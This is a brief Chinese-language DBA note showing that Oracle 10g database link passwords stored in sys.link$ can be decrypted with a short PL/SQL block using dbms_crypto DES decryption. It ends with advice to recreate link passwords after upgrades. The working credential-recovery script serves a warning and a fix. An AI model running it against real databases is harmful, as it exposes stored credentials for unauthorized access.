[20170607]10g dblink的密码.txt
--//10g下建立的dblink密码非常容易破解.只要能访问表sys.link$,做一个简单的测试来说明,实际上这个问题在11.2.0.1之前都是存在
--//的.
1.环境:
SYS@orcl> @ &r/ver1
PORT_STRING |VERSION |BANNER
------------------------------|--------------|----------------------------------------------------------------
x86_64/Linux 2.4.xx |10.2.0.4.0 |Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi
2.破解dblink密码:
SYS@orcl> select PASSWORDX c40 from sys.link$ where name='XXX';
C40
----------------------------------------
0582XXXXXXXX042490XXXX1C8E6819B9
set serveroutput on
declare
db_link_password varchar2(100);
begin
db_link_password := '&1';
dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
end;
/
--//设置到安全因素,我修改了显示输出,我在生产系统做了验证都是正确的.
--//要注意是如果系统从11.2.0.1升级,要注意重建dblink的密码,规避这个问题.